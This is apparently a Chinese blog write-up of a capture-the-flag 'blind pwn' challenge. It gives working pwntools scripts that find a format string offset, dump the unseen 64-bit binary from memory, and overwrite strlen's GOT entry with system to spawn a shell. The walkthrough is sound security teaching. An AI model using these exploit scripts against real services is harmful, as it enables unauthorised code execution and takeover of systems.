pwn-2

Blindpwn-64位有偏移

题目分析

首先没有题目,只有端口,连接上去,测试,发现,存在格式化字符串漏洞

然后同时也没有任何数据的回显,只是不断的重复循环,输出你输入的内容

这里需要注意的是,可以通过输入空格或者特殊字符来初步猜测的判断,输入函数是gets还是scanf还是read...因为这三者对于输入的数据的读取是不同的,就比如我本次输入1\n,它却显示了两个换行,那么这个很可能是read函数用来接收输入,但这里只能是猜测,因为read是最好的利用函数...

那么,开始思考,我们目前没有任何有用的信息,该如何获取到有用的信息

这里就需要对于pwn进行盲打,dump整个程序下来...

然后根据dump下来的程序来寻找程序的地址,进行分析

同时因为输入%p 返回的是8个字节的数据,所以是64位程序

dump程序

计算偏移

dump程序需要首先知道格式化字符串函数的偏移

所以step 1--计算偏移

由于不喜欢手算,直接pwntools跑,加

#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "./stilltest"
libcFileName = ""
ip = "0.0.0.0"
port = 10001

Debug = 1
if Debug:
    io = process(elfFileName)
else:
    io = remote(ip,port)

# calculate the offset
def exec_fmt(payload):
	io.recvuntil("\nPlease tell me:")
	io.sendline(payload)
	info = io.recvuntil("\n")
	return info


auto = FmtStr(exec_fmt)
offset = auto.offset
print "offset is "+ str(offset)

io.interactive()

'''
[*] Found format string offset: 8
offset is 8
'''

那么开始快乐的dump程序

dump代码编写

如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开

dump代码编写,其实有点头疼,因为其实对于数据处理来容易出现失误(输出的数据的尾巴,需要处理掉),网上有些博客上提供的dump脚本,有些都是错的...这里整理各位大佬的脚本,最后写出了一个比较合理的脚本

dump需要注意前面输出的内容,9个字节的Repeater:

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'#critical/debug
p = process("./stilltest")
f = open("stilltestbin", "ab+")
#f = open("64weiba", "ab+")

begin = 0x400000
offset = 0
i=0
p.recvuntil('Please tell me:')
while True:#i<13:#True:#
	addr = begin + offset	
	p.sendline("%10$saabbccddeef" + p64(addr))
	try:
		#info = p.recv(4)
		info = p.recvuntil('aabbccddeef',drop=True)[9:]
		remain = p.recvrepeat(0.2)#recv the tail to dump in cicle
		print info.encode("hex")
		print len(info)
	except EOFError:
		print "offset is " + str(offset)
		break
	if len(info)==0:
		print "info is null"
		offset += 1
		f.write('\x00')
	else:
		info += "\x00"
		offset += len(info)
		f.write(info)
		f.flush()
	#i = i + 1
	print "offset is " + str(offset)
f.close()
p.close()
#'''

前面可以先利用我设计的i来测试基地址,因为我们根本不知道这个程序的保护机制,所以我们没法知道是否开启了ASLR,那么测试基地址重要性,就来了,64位程序的基地址是0x400000,如果在此地址上面,返回的数据的确是0x7F454C46,那么就是没有开启ASLR

然后其中有段remain = p.recvrepeat(0.2)#tail 这里很重要,就是为了读取前面截断数据后面输出的垃圾数据,这也是很多博客提供的脚本没法dump的原因...(不知道他们是如何dump的,可能有什么其它的骚操作?)

还有一个就是,读取的所有null,都应该转换为\x00,这样子就可以把scanf读取数据\x00截断的问题,给解决了

这个出现一个问题,就是偏移到了4096字节,就会报错

首先操作系统中分页上 512 * 8 = 4096个字节为一页,而且分析了很多不同的64位elf文件,发现有两个段之间的偏移会很大...你看

后面的段,从开始到文件结尾都是固定长度,但是我们一直dump,只能dump到这里,就会结束,因为一页,没了,那么后面的程序.got,.got.plt 和extern,如果愿意,也可以找到地址去dump到部分的地址值,最后根据plt/got表的格式进行分析,但是这太麻烦,需要分析文件头的结构中记录的地址偏移....(如果想要dump也可以用我的脚本,修改上你计算过的地址偏移,再把后面的数据dump下来,容易出问题,但是只要计算的值是对的,就没问题)

那么在这里,我们拿着残缺的程序,其实还是可以分析的...

dump程序的分析

dump下来的程序没法运行,同时载入的时候需要设置一下...

我们直接ida打开,找到代码段,分析汇编代码...

其实和分析32位程序一样的,虽然没法一下子找到start代码中对应的main的地址,但是我们通过分析汇编跳转,我们还是很容易找到,main函数的地址的...readelf -h 读取elf header,找到start函数地址,然后找到main函数的地址

但是这里我们最好不要反汇编出来,因为真的没什么用,64位程序的参数都是放入寄存器的,分析汇编出结果,比分析反汇编出来的伪代码来的快

如果不改,直接分析汇编代码,仔细分析,根据提示.txt,还是可以看出结构的..

慢慢分析这个结构就出来了:慢慢自己改名字...这里为什么不要根据F5出来的结果来看参数,要看汇编代码来判断

循环,调用函数...emmm,确实头疼,要猜,要根据功能和提示,才能最后判断...

那么剩下的就是去找到不同函数的got表的地址,熟悉plt表和got原理就知道双击strlen.可以泄露strlen函数地址

OK,完全简单了...就是简单的格式化字符串漏洞了,写exp...

exp

写exp注意\x00截断

发现printf函数的地址是不能用来泄露的...

我发现问题出现在于printf函数的地址上,很多时候pwn题在载入的时候,这个函数的地址都会是被scanf printf函数给解析的,解析了他们地址上的特殊符号...所以这个真的不好用...只能最好找到替代品,puts函数,或者strlen函数...常见的是strlen函数和puts函数一直都是格式化字符串钟爱的使用漏洞点...

源码

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

int main(void){
	//init
	setbuf(stdout,0);
	setbuf(stdin,0);
	setbuf(stderr,0);
	printf("Hello,I am a computer Repeater updated.\nAfter a lot of machine learning,I know that the essence of man is a reread machine!\n");
	printf("So I'll answer whatever you say!\n");
	
	char buf[257];
	char format[300];
	unsigned int len1 = 0;
	while(1){
		alarm(3);
		memset(buf,0,sizeof(char)*257);
		memset(format,0,sizeof(char)*300);
		printf("Please tell me:");
		read(0,buf,256);
		sprintf(format,"Repeater:%s\n",buf);
		len1 = strlen(format);
		if(len1 > 270){
			printf("what you input is really long!");
			exit(0);
		}
		printf(format);
	}
	printf("game over!\n");
	return 0;
}

解题思路还是和32位一样:

找到strlen函数的地址,直接利用plt/got的知识,寻找到就行...

  • leak address
  • use LibcSearcher to find libc
  • getshell

自己写的一个关键函数

但是getshell cover覆盖地址的时候需要改变代码:(珍贵的反序函数代码用来把地址放在后面...纯手工冰粉,现做现卖...)

def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
	config = {
		32 : {
			'byte': (4, 1, 0xFF, 'hh', 8),
			'short': (2, 2, 0xFFFF, 'h', 16),
			'int': (1, 4, 0xFFFFFFFF, '', 32)},
		64 : {
			'byte': (8, 1, 0xFF, 'hh', 8),
			'short': (4, 2, 0xFFFF, 'h', 16),
			'int': (2, 4, 0xFFFFFFFF, '', 32)
		}
	}

	if write_size not in ['byte', 'short', 'int']:
		log.error("write_size must be 'byte', 'short' or 'int'")

	number, step, mask, formatz, decalage = config[context.bits][write_size]

	payload = ""

	payload_last = ""
	for where,what in writes.items():
		for i in range(0,number*step,step):
			payload_last += pack(where+i)

	fmtCount = 0
	payload_forward = ""
	
	key_toadd = []
	key_offset_fmtCount = []


	for where,what in writes.items():
		for i in range(0,number):
			current = what & mask
			if numbwritten & mask <= current:
				to_add = current - (numbwritten & mask)
			else:
				to_add = (current | (mask+1)) - (numbwritten & mask)

			if to_add != 0:
				key_toadd.append(to_add)
				payload_forward += "%{}c".format(to_add)
			else:
				key_toadd.append(to_add)
			payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
			key_offset_fmtCount.append(offset + fmtCount)
			#key_formatz.append(formatz)

			numbwritten += to_add
			what >>= decalage
			fmtCount += 1

	
	len1 = len(payload_forward)

	key_temp = []
	for i in range(len(key_offset_fmtCount)):
		key_temp.append(key_offset_fmtCount[i])

	x_add = 0
	y_add = 0
	while True:
		
		x_add = len1 / 8 + 1
		y_add = 8 - (len1 % 8)
		
		for i in range(len(key_temp)):
			key_temp[i] = key_offset_fmtCount[i] + x_add
		
		payload_temp = ""
		for i in range(0,number):
			if key_toadd[i] != 0:
				payload_temp += "%{}c".format(key_toadd[i])
			payload_temp += "%{}${}n".format(key_temp[i], formatz)

		len2 = len(payload_temp)

		xchange = y_add - (len2 - len1)
		if xchange >= 0:
			payload = payload_temp + xchange*'a' + payload_last
			return payload;
		else:
			len1 = len2

完整exp

那么完整的exp对于增加了strlen函数的题目之后就是这样子了:

#-*- coding:utf-8 –*-
from pwn import *
import time
from LibcSearcher import LibcSearcher
#context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
Debug = 1
if Debug:
    io = process("./stilltest")
else:
    io = remote('0.0.0.0',10003)

def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
	config = {
		32 : {
			'byte': (4, 1, 0xFF, 'hh', 8),
			'short': (2, 2, 0xFFFF, 'h', 16),
			'int': (1, 4, 0xFFFFFFFF, '', 32)},
		64 : {
			'byte': (8, 1, 0xFF, 'hh', 8),
			'short': (4, 2, 0xFFFF, 'h', 16),
			'int': (2, 4, 0xFFFFFFFF, '', 32)
		}
	}

	if write_size not in ['byte', 'short', 'int']:
		log.error("write_size must be 'byte', 'short' or 'int'")

	number, step, mask, formatz, decalage = config[context.bits][write_size]

	payload = ""

	payload_last = ""
	for where,what in writes.items():
		for i in range(0,number*step,step):
			payload_last += pack(where+i)

	fmtCount = 0
	payload_forward = ""
	
	key_toadd = []
	key_offset_fmtCount = []


	for where,what in writes.items():
		for i in range(0,number):
			current = what & mask
			if numbwritten & mask <= current:
				to_add = current - (numbwritten & mask)
			else:
				to_add = (current | (mask+1)) - (numbwritten & mask)

			if to_add != 0:
				key_toadd.append(to_add)
				payload_forward += "%{}c".format(to_add)
			else:
				key_toadd.append(to_add)
			payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
			key_offset_fmtCount.append(offset + fmtCount)
			#key_formatz.append(formatz)

			numbwritten += to_add
			what >>= decalage
			fmtCount += 1

	
	len1 = len(payload_forward)

	key_temp = []
	for i in range(len(key_offset_fmtCount)):
		key_temp.append(key_offset_fmtCount[i])

	x_add = 0
	y_add = 0
	while True:
		
		x_add = len1 / 8 + 1
		y_add = 8 - (len1 % 8)
		
		for i in range(len(key_temp)):
			key_temp[i] = key_offset_fmtCount[i] + x_add
		
		payload_temp = ""
		for i in range(0,number):
			if key_toadd[i] != 0:
				payload_temp += "%{}c".format(key_toadd[i])
			payload_temp += "%{}${}n".format(key_temp[i], formatz)

		len2 = len(payload_temp)

		xchange = y_add - (len2 - len1)
		if xchange >= 0:
			payload = payload_temp + xchange*'a' + payload_last
			return payload;
		else:
			len1 = len2
#dump bin can not be loaded
#but can analysis
offset = 8
#step 1 leak the printf_got
#maybe plt 08048400
strlen_got = 0x601020
strlen_leak = "%9$s" + "SEND" + p64(strlen_got)
io.send(strlen_leak)
io.recvuntil('Repeater:')
libc_strlen = u64(io.recvuntil('SEND', drop=True).ljust(8, '\x00'))
print hex(libc_strlen)
#libc_printf = u64(io.recv()[8:16])
#print hex(libc_printf)
io.recv()

#step 2 find the libc
libc = LibcSearcher('strlen',libc_strlen)
libcbase = libc_strlen - libc.dump('strlen')
system_addr = libcbase + libc.dump('system')
print hex(system_addr)
#step 3 cover the address

payload_antitone = antitone_fmt_payload(8,{strlen_got : system_addr},write_size='short',numbwritten=9)
#payload_cover = fmtstr_payload(8,{putchar_got : system_addr},write_size='short')
io.sendline(payload_antitone)
io.recv()

#step 4 get shell
#time.sleep(10)
io.sendline(";/bin/sh\x00")
#io.recv()
print hex(system_addr)
io.interactive()

参考链接

posted @ 2019-12-20 21:03  i0gan  阅读(321)  评论(0)    收藏  举报